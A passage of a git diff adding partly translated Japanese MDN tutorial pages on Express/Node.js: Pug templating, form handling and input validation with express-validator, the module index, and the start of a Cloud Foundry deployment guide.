text</a>". For example, the additional text shown below will be displayed on the same line as the preceding anchor, but will not be linked.</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html">a(href='http://someurl/') Link text +| Plain text</code></pre> + +<p>Pug allows you to perform conditional operations using <code>if</code>, <code>else</code> , <code>else if</code> and <code>unless</code>—for example:</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html">if title + p A variable named "title" exists +else + p A variable named "title" does not exist</code></pre> + +<p>You can also perform loop/iteration operations using <code>each-in</code> or <code>while</code> syntax. In the code fragment below we've looped through an array to display a list of variables (note the use of the 'li=' to evaluate the "val" as a variable below. The value you iterate across can also be passed into the template as a variable!</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html">ul + each val in [1, 2, 3, 4, 5] + li= val</code></pre> + +<p>The syntax also supports comments (that can be rendered in the output—or not—as you choose), mixins to create reusable blocks of code, case statements, and many other features. For more detailed information see <a class="external external-icon" href="https://pugjs.org/api/getting-started.html" rel="noopener">The Pug docs</a>.</p> + +<h2 class="highlight-spanned" id="Extending_templates"><span class="highlight-span">Extending templates</span></h2> + +<p>Across a site, it is usual for all pages to have a common structure, including standard HTML markup for the head, footer, navigation, etc. Rather than forcing developers to duplicate this "boilerplate" in every page, <em>Pug</em> allows you to declare a base template and then extend it, replacing just the bits that are different for each specific page.</p> + +<p>For example, the base template <strong>layout.pug</strong> created in our <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">skeleton project</a> looks like this:</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html">doctype html +html + head + title= title + link(rel='stylesheet', href='/stylesheets/style.css') + body + block content</code></pre> + +<p>The <code>block</code> tag is used to mark up sections of content that may be replaced in a derived template (if the block is not redefined then its implementation in the base class is used).</p> + +<p>The default <strong>index.pug</strong> (created for our skeleton project) shows how we override the base template. The <code>extends</code> tag identifies the base template to use, and then we use <code>block <em>section_name</em></code> to indicate the new content of the section that we will override.</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html">extends layout + +block content + h1= title + p Welcome to #{title}</code></pre> + +<h2 id="Next_steps">Next steps</h2> + +<ul> + <li>Return to <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a>.</li> + <li>Proceed to the next subarticle of part 5: <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data/LocalLibrary_base_template">The LocalLibrary base template</a>.</li> +</ul> diff --git a/files/ja/learn/server-side/express_nodejs/forms/index.html b/files/ja/learn/server-side/express_nodejs/forms/index.html new file mode 100644 index 0000000000..ea3d378895 --- /dev/null +++ b/files/ja/learn/server-side/express_nodejs/forms/index.html @@ -0,0 +1,263 @@ +--- +title: 'Express チュートリアル Part 6: フォームの操作' +slug: Learn/Server-side/Express_Nodejs/forms +translation_of: Learn/Server-side/Express_Nodejs/forms +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Displaying_data", "Learn/Server-side/Express_Nodejs/deployment", "Learn/Server-side/Express_Nodejs")}}</div> + +<p class="summary">このチュートリアルでは、Pug を使用して Express で HTML フォームを操作する方法、特にデータベースからドキュメントを作成、更新、削除するためのフォームを作成する方法を説明します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td><a href="/ja/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express チュートリアル Part 5: ライブラリデータの表示</a>など、これまでのチュートリアルのトピックをすべて完了してください。</td> + </tr> + <tr> + <th scope="row">目標:</th> + <td>ユーザからデータを取得するためのフォームの作成方法を理解し、このデータでデータベースを更新する。</td> + </tr> + </tbody> +</table> + +<h2 id="概要">概要</h2> + +<p><a href="/ja/docs/Web/Guide/HTML/Forms">HTMLフォーム</a>とは、サーバーに送信するためにユーザーから情報を収集するために使用できる Web ページ上の 1 つ以上のフィールド/ウィジェットのグループのことです。テキストボックス、チェックボックス、ラジオボタン、日付選択など、さまざまなタイプのデータを入力するのに適したフォーム入力が用意されているので、フォームを使えばユーザーからの入力を柔軟に収集することが出来ます。また、フォームはサーバとデータを共有するための比較的安全な方法でもあり、クロスサイトリクエストフォージェリ保護機能を使ってPOSTリクエストでデータを送信することができます。</p> + +<p>フォームを扱うのは複雑です。開発者はフォーム用の HTML を書き、サーバー上で入力されたデータを検証して特殊文字を置換し、無効なフィールドをユーザーに知らせるためにエラーメッセージを表示してフォームを再度表示し、送信が成功したときにデータを処理し、最後に成功を示す何らかの方法でユーザーに応答しなければなりません。</p> + +<p>このチュートリアルでは、上記の操作をExpressで実行する方法を紹介します。途中で、サンプルとして地域図書館のウェブサイトを拡張して、ユーザーがライブラリからアイテムを作成、編集、削除できるようにします。</p> + +<div class="note"> +<p><strong>Note: </strong>サンプルとして準備されている地域図書館のウェブサイトは認証済みユーザのみに閲覧を制限する方法については書いてないので、現時点ではどのユーザでもデータベースに変更を加えることができます。</p> +</div> + +<h3 id="HTMLフォーム">HTMLフォーム</h3> + +<p>最初に<a href="/ja/docs/Web/Guide/HTML/Forms">HTMLフォーム</a>の簡単な概要を説明します。ある「チーム」の名前とそれに関連するラベルを入力するための単一のテキストフィールドを持つシンプルな HTML フォームを考えてみましょう。</p> + +<p><img alt="Simple name field example in HTML form" src="https://mdn.mozillademos.org/files/14117/form_example_name_field.png" style="border-style: solid; border-width: 1px; display: block; height: 44px; margin: 0px auto; width: 399px;"></p> + +<p>フォームは HTML で <code><form>...</form></code> タグ内の要素の集合として定義され、<code>type="submit" </code>の<code>input</code>要素を少なくとも 1 つ含みます。</p> + +<pre class="brush: html notranslate"><form action="/team_name_url/" method="post"> + <label for="team_name">名前を入力してください: </label> + <input id="team_name" type="text" name="name_field" value="デフォルトのチーム名."> + <input type="submit" value="OK"> +</form></pre> + +<p>ここではチーム名を入力するための1つのテキストフィールドだけを含んでいますが、フォームは他の入力要素とそれに関連したラベルをいくつでも含むことができます。フィールドの<code>type</code>属性はどのような種類のウィジェットが表示されるかを定義します。フィールドの<code>name</code>と<code>id</code>はJavaScript/CSS/HTMLでフィールドを識別するために使われ、<code>value</code>はフィールドが最初に表示されるときの初期値を定義します。マッチングするチームのラベルは、<code>label</code>タグ（上記の「名前を入力してください」を参照）を使用して指定され、<code>for</code>フィールドには関連する<code>input</code>タグの<code>id</code>値が含まれます。</p> + +<p><code>submit</code> inputタグは標準ではボタンとして表示されます。このボタンは、他の<code>input</code>要素に含まれるデータをサーバーにアップロードするためにユーザーが押すことができます(この例だと<code>team_name</code>だけ)。フォーム属性はデータを送信するために使用されるHTTP <code>method</code>とサーバー上のデータの送信先(<code>action</code>)を定義します。</p> + +<ul> + <li><code>action</code>: フォームが送信されたときに処理のためにデータが送信されるURLです。これが設定されていない場合(または空の文字列が設定されている場合)、フォームは現在のページURLに戻って送信されます。</li> + <li><code>method</code>: データを送信するために使用される HTTP メソッド: <code>POST</code> または <code>GET</code>. + <ul> + <li><code>POST</code>メソッドは、データがサーバのデータベースに変更をもたらす場合は、常に使用されるべきです。なぜならクロスサイトフォージェリ要求攻撃に対してより耐性を持たせることができるからです。</li> + <li><code>GET</code>メソッドは、ユーザーデータを変更しないフォーム（検索フォームなど）にのみ使用してください。URLをブックマークや共有できるようにしたい場合におすすめです。</li> + </ul> + </li> +</ul> + +<h3 id="フォーム処理工程">フォーム処理工程</h3> + +<p>フォームの処理はモデルに関する情報を表示するために学んだのと同じテクニックをすべて使います: ルートはリクエストをコントローラ関数に送り、モデルからのデータの読み込みを含む必要なデータベースアクションを実行し、HTMLページを生成して返します。さらに複雑なのは、サーバーがユーザーによって提供されたデータを処理し、何か問題があればエラー情報とともにフォームを再表示する必要があるということです。</p> + +<p>フォームを含むページのリクエスト（緑色で示されている）から始まる、フォームリクエストを処理するためのプロセスフローチャートを以下に示す。<img alt="" src="https://mdn.mozillademos.org/files/14478/Web%20server%20form%20handling.png" style="height: 649px; width: 800px;"></p> + +<p>上の図のように、フォーム処理のコードが必要とする主なものは以下の通りです。</p> + +<ol> + <li>ユーザーが最初に要求したときにデフォルトのフォームを表示します。 + <ul> + <li>フォームには空白のフィールドが含まれていたり (新しいレコードを作成している場合など)、初期値があらかじめ入力されていたり (レコードを変更している場合や、デフォルトの初期値がある場合など) します。</li> + </ul> + </li> + <li>ユーザーから送信されたデータを、通常はHTTP <code>POST</code>リクエストで受信します。</li> + <li>データを検証し、ハッキング防止のために特殊文字を置換(サニタイズ)します。</li> + <li>データが無効な場合は、ユーザーが入力した値と問題のあるフィールドのエラーメッセージをフォームに再表示します。</li> + <li>すべてのデータが有効な場合、必要なアクションを実行します（例：データベースにデータを保存する、通知メールを送信する、検索結果を返す、ファイルをアップロードするなど）。</li> + <li>すべてのアクションが完了したら、ユーザーを別のページにリダイレクトします。</li> +</ol> + +<p>多くの場合、フォーム処理コードは、フォームの初期表示のための<code>GET</code>ルートと、フォームデータの検証と処理のための同じパスへの<code>POST</code>ルートを使用して実装されています。これがこのチュートリアルで使用されるアプローチです。</p> + +<p>Express 自体はフォーム操作のための特別なサポートを提供していませんが、ミドルウェアを使用してフォームからの <code>POST</code> や <code>GET </code>パラメータを処理したり、それらの値を検証/サニタイズしたりすることができます。</p> + +<h3 id="検証とサニタイズ">検証とサニタイズ</h3> + +<p>フォームからのデータが保存される前に、それは検証され、サニタイズされなければなりません。</p> + +<ul> + <li>入力された値が各フィールドに対して適切であるか（正しい範囲、フォーマットなど）、およびすべての必須フィールドに対して値が提供されているかどうかを確認します。</li> + <li>サニタイズは、悪意のあるコンテンツをサーバーに送信するために使用される可能性のあるデータ内の文字を削除したり、置換したりします。</li> +</ul> + +<p>このチュートリアルでは、人気のある express-validator モジュールを使ってフォームデータの検証とサニタイズを行います。</p> + +<h4 id="インストール">インストール</h4> + +<p>プロジェクトのルートで以下のコマンドを実行してモジュールをインストールします。</p> + +<pre class="brush: bash notranslate">npm install express-validator +</pre> + +<h4 id="express-validatorの使用">express-validatorの使用</h4> + +<div class="note"> +<p><strong>Note:</strong> Githubの<a href="https://github.com/ctavan/express-validator#express-validator">express-validator</a>ガイドにAPIの概要が書かれています。(カスタムバリデータの作成を含む) すべての機能を知るには、これを読むことをお勧めします。以下では、サンプルの「地域図書館」にとって有用なサブセットだけを取り上げます。</p> +</div> + +<p>コントローラでバリデータを使うには、以下のように <strong>'express-validator/check'</strong> と <strong>'express-validator/filter'</strong>モジュールから使いたい関数を要求(require)しなければなりません。</p> + +<pre class="brush: js notranslate">const { body,validationResult } = require('express-validator/check'); +const { sanitizeBody } = require('express-validator/filter'); +</pre> + +<p>多くの関数が用意されており、リクエストパラメータ、body、ヘッダー、Cookieなどのデータをチェックしてサニタイズすることができますし、一度にすべてのデータをチェックしてサニタイズすることもできます。このチュートリアルでは、主に<code>body</code>、<code>sanitizeBody</code>、<code>validationResult</code>を使用します。</p> + +<p>機能は以下のように定義されています。</p> + +<ul> + <li><code><a href="https://github.com/ctavan/express-validator#bodyfields-message">body(fields[, message])</a></code>: テストに失敗した場合に表示されるオプションのエラーメッセージとともに検証するリクエストボディ (<code>POST</code>パラメータ) のフィールドのセットを指定します。検証基準は、<code>body()</code>メソッドにデイジーチェーンで接続されています。例えば、以下の最初のチェックでは「name」フィールドが空でないことをテストし、空の場合は「Empty name」というエラーメッセージを設定します。2 番目のテストでは、年齢フィールドが有効な日付であるかどうかをチェックし、<code>optional()</code> を使用して null や空の文字列を指定しても検証に失敗しないようにしています。 + + <pre class="brush: js notranslate">body('name', 'Empty name').isLength({ min: 1 }), +body('age', 'Invalid age').optional({ checkFalsy: true }).isISO8601(), +</pre> + また、異なるバリデータをデイジーチェーン化して、前のバリデータが真の場合に表示されるメッセージを追加することもできます。<br> + + <pre class="brush: js notranslate">body('name').isLength({ min: 1 }).trim().withMessage('Name empty.') + .isAlpha().withMessage('Name must be alphabet letters.'), +</pre> + + <div class="note"> + <p><strong>Note:</strong> また、上記のように <code>trim()</code> のようなインラインサニタイザーを追加することもできます。しかし、ここで適用されるサニタイザは検証ステップにのみ適用されます。最終的な出力をサニタイザ処理したい場合は、以下のように別のサニタイザメソッドを使用する必要があります。</p> + </div> + </li> + <li><code><a href="https://github.com/ctavan/express-validator#sanitizebodyfields">sanitizeBody(fields)</a></code>: サニタイズするフィールドを指定します。サニタイズ操作は、このメソッドにデイジーチェーン接続されます。例えば、以下の <code>escape()</code> サニタイズ操作は、JavaScript のクロスサイトスクリプティング攻撃で使用される可能性のある HTML 文字（例えば「'」、「"」、「&」など）を name 変数から削除します。 + <pre class="brush: js notranslate">sanitizeBody('name').trim().escape(), +sanitizeBody('date').toDate(),</pre> + </li> + <li><code><a href="https://github.com/ctavan/express-validator#validationresultreq">validationResult(req)</a></code>: Runs the validation, making errors available in the form of a <code>validation</code> result object. This is invoked in a separate callback, as shown below: + <pre class="brush: js notranslate">(req, res, next) => { + // Extract the validation errors from a request. + const errors = validationResult(req); + + if (!errors.isEmpty()) { + // There are errors. Render form again with sanitized values/errors messages. + // Error messages can be returned in an array using `errors.array()`. + } + else { + // Data from form is valid. + } +}</pre> + We use the validation result's <code>isEmpty()</code> method to check if there were errors, and its <code>array()</code> method to get the set of error messages. See the <a href="https://github.com/ctavan/express-validator#validation-result-api">Validation Result API</a> for more information.</li> +</ul> + +<p>The validation and sanitization chains are middleware that should be passed to the Express route handler (we do this indirectly, via the controller). When the middleware runs, each validator/sanitizer is run in the order specified.</p> + +<p>We'll cover some real examples when we implement the <em>LocalLibrary</em> forms below.</p> + +<h3 id="Form_design">Form design</h3> + +<p>Many of the models in the library are related/dependent—for example, a <code>Book</code> <em>requires</em> an <code>Author</code>, and <em>may</em> also have one or more <code>Genres</code>. This raises the question of how we should handle the case where a user wishes to:</p> + +<ul> + <li>Create an object when its related objects do not yet exist (for example, a book where the author object hasn't been defined).</li> + <li>Delete an object that is still being used by another object (so for example, deleting a <code>Genre</code> that is still being used by a <code>Book</code>).</li> +</ul> + +<p>For this project we will simplify the implementation by stating that a form can only:</p> + +<ul> + <li>Create an object using objects that already exist (so users will have to create any required <code>Author</code> and <code>Genre</code> instances before attempting to create any <code>Book</code> objects).</li> + <li>Delete an object if it is not referenced by other objects (so for example, you won't be able to delete a <code>Book</code> until all associated <code>BookInstance</code> objects have been deleted).</li> +</ul> + +<div class="note"> +<p><strong>Note:</strong> A more "robust" implementation might allow you to create the dependent objects when creating a new object, and delete any object at any time (for example, by deleting dependent objects, or by removing references to the deleted object from the database).</p> +</div> + +<h3 id="Routes">Routes</h3> + +<p>In order to implement our form handling code, we will need two routes that have the same URL pattern. The first (<code>GET</code>) route is used to display a new empty form for creating the object. The second route (<code>POST</code>) is used for validating data entered by the user, and then saving the information and redirecting to the detail page (if the data is valid) or redisplaying the form with errors (if the data is invalid).</p> + +<p>We have already created the routes for all our model's create pages in <strong>/routes/catalog.js</strong> (in a <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/routes">previous tutorial</a>). For example, the genre routes are shown below:</p> + +<pre class="brush: js notranslate">// GET request for creating a Genre. NOTE This must come before route that displays Genre (uses id). +router.get('/genre/create', genre_controller.genre_create_get); + +// POST request for creating Genre. +router.post('/genre/create', genre_controller.genre_create_post); +</pre> + +<h2 id="Express_forms_subarticles">Express forms subarticles</h2> + +<p>The following sub articles will take us through the process of adding the required forms to our example application. You need to read and work through each one in turn, before moving on to the next one.</p> + +<ol> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms/Create_genre_form">Create Genre form</a> — Defining a page to create <code>Genre</code> objects.</li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms/Create_author_form">Create Author form</a> — Defining a page to create <code>Author</code> objects.</li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms/Create_book_form">Create Book form</a> — Defining a page/form to create <code>Book</code> objects.</li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms/Create_BookInstance_form">Create BookInstance form</a> — Defining a page/form to create <code>BookInstance</code> objects.</li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms/Delete_author_form">Delete Author form</a> — Defining a page to delete <code>Author</code> objects.</li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms/Update_Book_form">Update Book form</a> — Defining page to update <code>Book</code> objects.</li> +</ol> + +<h2 id="Challenge_yourself">Challenge yourself</h2> + +<p>Implement the delete pages for the <code>Book</code>, <code>BookInstance</code>, and <code>Genre</code> models, linking them from the associated detail pages in the same way as our <em>Author delete </em>page. The pages should follow the same design approach:</p> + +<ul> + <li>If there are references to the object from other objects, then these other objects should be displayed along with a note that this record can't be deleted until the listed objects have been deleted.</li> + <li>If there are no other references to the object then the view should prompt to delete it. If the user presses the <strong>Delete</strong> button, the record should then be deleted.</li> +</ul> + +<p>A few tips:</p> + +<ul> + <li>Deleting a <code>Genre</code> is just like deleting an <code>Author</code> as both objects are dependencies of <code>Book</code> (so in both cases you can delete the object only when the associated books are deleted).</li> + <li>Deleting a <code>Book</code> is also similar, but you need to check that there are no associated <code>BookInstances</code>.</li> + <li>Deleting a <code>BookInstance</code> is the easiest of all because there are no dependent objects. In this case, you can just find the associated record and delete it.</li> +</ul> + +<p>Implement the update pages for the <code>BookInstance</code>, <code>Author</code>, and <code>Genre</code> models, linking them from the associated detail pages in the same way as our <em>Book update </em>page.</p> + +<p>A few tips:</p> + +<ul> + <li>The <em>Book update page</em> we just implemented is the hardest! The same patterns can be used for the update pages for the other objects.</li> + <li>The <code>Author</code> date of death and date of birth fields and the <code>BookInstance</code> due_date field are the wrong format to input into the date input field on the form (it requires data in form "YYYY-MM-DD"). The easiest way to get around this is to define a new virtual property for the dates that formats the dates appropriately, and then use this field in the associated view templates.</li> + <li>If you get stuck, there are examples of the update pages in <a href="https://github.com/mdn/express-locallibrary-tutorial">the example here</a>.</li> +</ul> + +<h2 id="まとめ">まとめ</h2> + +<p>NPM の Express、Node、およびサードパーティのパッケージは、Web サイトにフォームを追加するために必要なすべてを提供します。この記事では、Pug を使用してフォームを作成する方法、express-validator を使用して入力を検証およびサニタイズする方法、およびデータベース内のレコードを追加、削除、および変更する方法を学びました。</p> + +<p>これで、基本的なフォームとフォーム処理コードを自分の Node Web サイトに追加する方法を理解したはずです。</p> + +<h2 id="あわせて参照">あわせて参照</h2> + +<ul> + <li><a href="https://www.npmjs.com/package/express-validator">express-validator</a> (npm ドキュメント).</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Displaying_data", "Learn/Server-side/Express_Nodejs/deployment", "Learn/Server-side/Express_Nodejs")}}</p> + +<h2 id="このモジュール">このモジュール</h2> + +<ul> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node のイントロダクション</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/development_environment">Node 開発環境の設定</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express チュートリアル: 地域図書館の Web サイト</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express チュートリアル Part 2: スケルトン Web サイトの作成</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/mongoose">Express チュートリアル Part 3: データベースを使う (Mongoose を使用)</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/routes">Express チュートリアル Part 4: ルートとコントローラ</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express チュートリアル Part 5: ライブラリデータの表示</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/forms">Express チュートリアル Part 6: フォームの操作</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Express_Nodejs/deployment">Express チュートリアル Part 7: プロダクションへのデプロイ</a></li> +</ul> diff --git a/files/ja/learn/server-side/express_nodejs/index.html b/files/ja/learn/server-side/express_nodejs/index.html new file mode 100644 index 0000000000..a7ddf93fe5 --- /dev/null +++ b/files/ja/learn/server-side/express_nodejs/index.html @@ -0,0 +1,79 @@ +--- +title: Express Web フレームワーク (Node.js/JavaScript) +slug: Learn/Server-side/Express_Nodejs +tags: + - Beginner + - CodingScripting + - Express + - Express.js + - Intro + - JavaScript + - Learn + - Node + - Server-side programming + - node.js + - イントロダクション + - サーバサイドプログラミング + - 初心者 + - 学習 +translation_of: Learn/Server-side/Express_Nodejs +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">Express は、JavaScript で書かれ、Node.js 実行環境内でホストされている、人気の指図しないウェブフレームワークです。このモジュールでは、このフレームワークの主な利点、開発環境の設定方法、一般的なウェブ開発と配置作業の実行方法について説明します。</p> + +<h2 id="Prerequisites" name="Prerequisites">前提条件</h2> + +<p>このモジュールを始める前に、サーバーサイドのウェブプログラミングとウェブフレームワークが何かを理解する必要があります。理想的なのは<a href="/ja/docs/Learn/Server-side/First_steps">サーバーサイドのウェブサイトプログラミングの第一歩</a>モジュールのトピックを読むことです。プログラミングの概念と <a href="/ja/docs/Web/JavaScript">JavaScript</a> の一般的な知識があることを強くお勧めしますが、中核となる概念を理解するために不可欠ではありません。</p> + +<div class="note"> +<p><strong>メモ</strong>: このウェブサイトには、クライアントサイド開発のコンテキストで JavaScript を学習するための多くの有用なリソースがあります。<a href="/docs/Web/JavaScript">JavaScript</a>、<a href="/docs/Web/JavaScript/Guide">JavaScript ガイド</a>、<a href="/docs/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript の基本</a>、<a href="/docs/Learn/JavaScript">JavaScript </a>(学習)。JavaScript のコアとなる言語と概念は、Node.js でのサーバーサイド開発と同じであり、この資料は関連性があります。Node.js は、ブラウザーレス環境で役立つ機能をサポートするための<a href="https://nodejs.org/dist/latest-v10.x/docs/api/">追加の API</a> を提供します (たとえば、HTTP サーバーを作成してファイルシステムにアクセスするため。ただし、ブラウザーおよび DOM を操作するための JavaScript API はサポートしません)。</p> + +<p>このガイドは Node.js と Express を使った作業についての情報を提供します。インターネットや本には他にもたくさんの優れたリソースがあります。これらのうち一部は <a href="http://stackoverflow.com/a/5511507/894359">How do I get started with Node.js</a> (StackOverflow) と <a href="https://www.quora.com/What-are-the-best-resources-for-learning-Node-js?">What are the best resources for learning Node.js?</a> (Quora) からリンクされています。</p> +</div> + +<h2 id="Guides" name="Guides">ガイド</h2> + +<dl> + <dt><a href="/ja/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node の入門</a></dt> + <dd>この最初の Express 記事では、"Node とは何ですか？"、"Express とは何ですか？" という質問に答えます。Express ウェブフレームワークが特別になった理由の概要を説明します。主な機能の概要を説明し、Express アプリケーションの主な構成要素をいくつか紹介します (ただし、現時点ではテスト用の開発環境はまだありません)。</dd> + <dt><a href="/ja/docs/Learn/Server-side/Express_Nodejs/development_environment">Node (Express) 開発環境の設定</a></dt> + <dd>Express の目的がわかったので、Windows、Linux (Ubuntu)、および Mac OS X 上で Node/Express 開発環境を設定およびテストする方法を説明します。この記事は、オペレーティングシステム共通の、Express アプリの開発を始めるために必要なものを提供します。</dd> + <dt><a href="/ja/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express チュートリアル: 地域図書館のウェブサイト</a></dt> + <dd>私たちの実用的なチュートリアルシリーズの最初の記事はあなたが何を学ぶかについて説明して、それを通して研究し、そしてその後の記事で進化するであろう "地域図書館" の例のウェブサイトの概要を提供します。</dd> + <dt><a href="/ja/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express チュートリアル Part 2: スケルトンウェブサイトの作成</a></dt> + <dd>この記事ではどのようにして "スケルトン"ウェブサイトプロジェクトを作成し、その後サイト固有のルート、テンプレート/ビュー、およびデータベースを追加するかを説明します。</dd> + <dt><a href="/ja/docs/Learn/Server-side/Express_Nodejs/mongoose">Express チュートリアル Part 3: データベースの使用 (Mongoose を使用)</a></dt> + <dd>この記事では、Node/Express 用のデータベースについて簡単に紹介します。続いて、<a href="http://mongoosejs.com/">Mongoose</a> を使用して「地域図書館」ウェブサイトへのデータベースアクセスを提供する方法を説明します。オブジェクトスキーマとモデルの宣言方法、主なフィールドタイプ、および基本的な検証について説明します。また、モデルデータにアクセスするための主な方法のいくつかについても簡単に説明します。</dd> + <dt><a href="/ja/docs/Learn/Server-side/Express_Nodejs/routes">Express チュートリアル Part 4: ルートとコントローラー</a></dt> + <dd>このチュートリアルでは、「地域図書館」ウェブサイトで最終的に必要なすべてのリソースエンドポイントに対して、"ダミー" ハンドラ関数を使用してルート (URL 処理コード) を設定します。完成したら、次の記事で実際のハンドラ関数を使って拡張できるように、ルート処理コードのためのモジュール構造を作ります。Express を使用してモジュラールートを作成する方法についても、非常によく理解できるでしょう。</dd> + <dt><a href="/ja/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express チュートリアル Part 5: ライブラリデータの表示</a></dt> + <dd>これで、「地域図書館」のウェブサイトの書籍やその他のデータを表示するページを追加する準備が整いました。このページには、各モデルタイプのレコード数と、すべてのモデルのリストおよび詳細ページを示すホームページが含まれます。その過程で、データベースからレコードを取得したりテンプレートを使用したりする実際的な経験を積むことになります。</dd> + <dt><a href="/ja/docs/Learn/Server-side/Express_Nodejs/forms">Express チュートリアル Part 6: フォームの操作</a></dt> + <dd>このチュートリアルでは Pug を使用して Express で <a href="/ja/docs/Learn/HTML/Forms">HTML フォーム</a>を操作する方法、特にデータベースからドキュメントを作成、更新、削除するためのフォームを作成する方法を説明します。</dd> + <dt><a href="/ja/docs/Learn/Server-side/Express_Nodejs/deployment">Express チュートリアル Part 7: プロダクションへのデプロイ</a></dt> + <dd>これで素晴らしい「地域図書館」ウェブサイトを作成したので、それを公共のウェブサーバーにインストールして、図書館のスタッフとメンバーがインターネットを介してアクセスできるようにします。この記事では、ウェブサイトをデプロイするためのホストを見つける方法、およびサイトを運用に向けて準備するために必要な作業の概要について説明します。</dd> +</dl> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<dl> + <dt><a href="/ja/docs/Learn/Server-side/Express_Nodejs/Installing_on_PWS_Cloud_Foundry">PWS/Cloud Foundry に LocalLibrary をインストールする</a></dt> + <dd>この記事では、<a href="http://run.pivotal.io/">Pivotal Web サービスの PaaS クラウド</a>に「地域図書館」をインストールする方法の実際的なデモンストレーションを行います。これは、上記のチュートリアルの第7部で使用されている PaaS クラウドサービスである Heroku に代わるフル機能のオープンソースです。PWS/Cloud Foundry は、Heroku (または別の PaaS クラウドサービス) に代わるものを探している場合、または単に何か違うことを試したい場合には、絶対にチェックする価値があります。</dd> +</dl> + +<h2 id="Adding_more_tutorials" name="Adding_more_tutorials">チュートリアルを追加する</h2> + +<div> +<p>既存のチュートリアル記事は以上となります。あなたがそれを拡張したいならば、カバーする他の興味深いトピックは以下の通りです：</p> + +<ul> + <li>セッションの使用</li> + <li>ユーザー認証</li> + <li>ユーザーの認可と権限</li> + <li>Express ウェブアプリケーションをテストする</li> + <li>Express ウェブアプリケーションの Web セキュリティ</li> +</ul> + +<p>そしてもちろん、評価作業を行うのは素晴らしいことです。</p> +</div> diff --git a/files/ja/learn/server-side/express_nodejs/installing_on_pws_cloud_foundry/index.html b/files/ja/learn/server-side/express_nodejs/installing_on_pws_cloud_foundry/index.html new file mode 100644 index 0000000000..f3a62d8b6e --- /dev/null +++ b/files/ja/learn/server-side/express_nodejs/installing_on_pws_cloud_foundry/index.html @@ -0,0 +1,242 @@ +--- +title: PWS/Cloud Foundry に LocalLibrary をインストールする +slug: Learn/Server-side/Express_Nodejs/Installing_on_PWS_Cloud_Foundry +translation_of: Learn/Server-side/Express_Nodejs/Installing_on_PWS_Cloud_Foundry +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">この記事では Pivotal Web Services の PaaS クラウドに<em>地域図書館</em>をインストールする方法の実際的なデモンストレーションを提供します。これは、チュートリアルのパート7で使用されている PaaS クラウドサービスである Heroku のフル機能のオープンソース代替です。PWS/Cloud Foundry は、Heroku (または別の PaaS クラウドサービス) に代わるものを探している場合、または単に何か違うことを試したい場合には、絶対にチェックする価値があります。</p> + +<h2 id="Why_PWS">Why PWS?</h2> + +<p>Pivotal Web Services is a public instance of the <a href="https://www.cloudfoundry.org/">Open Source Cloud Foundry Platform</a>. It is a polyglot platform supporting many different languages including Node.js, Java, PHP, Python, Staticfiles, and Ruby. It has a introductory free trial and is incredibly efficient for running Node applications! As Node and Express are open source projects, there is consistency with working with an open deployment platform such as Cloud Foundry. You can get under the <a href="https://github.com/cloudfoundry">hood</a> and see how an application is hosted.</p> + +<p>There are multiple reasons to use PWS!</p> + +<ul> + <li>PWS has a <a href="https://run.pivotla.io/pricing">flexible pricing</a> that is extremely well tuned for small runtimes such as node. It's possible to run a redundant pair of your app for less than $5 per month. That includes a standby failover system to take over running your app if the main server fails at any point.</li> + <li>As a PaaS, PWS takes care of a lot of the web infrastructure for us. This makes it much easier to get started, because you don't worry about servers, load balancers, reverse proxies, restarting your website on a crash, or any of the other web infrastructure that PWS provides for us under the hood.</li> + <li>Because PWS is using Cloud Foundry, an open platform. You can therefore easily deploy your application to other Cloud Foundry providers such as <a href="https://www.ibm.com/cloud-computing/bluemix/">IBM BlueMix</a>, <a href="https://www.anynines.com/">AnyNines</a> and <a href="https://www.swisscom.ch/en/business/enterprise/offer/cloud-data-center-services/paas/application-cloud.html">Swisscomm Application Cloud</a>. The below instructions will work with any standard Cloud Foundry deployment with minor modifications.</li> + <li>While it does have some limitations, these will not affect this particular application. For example: + <ul> + <li>PWS and Cloud Foundry provide only short-lived storage so user-uploaded files cannot safely be stored on PWS itself.</li> + <li>The free trial is good for a year 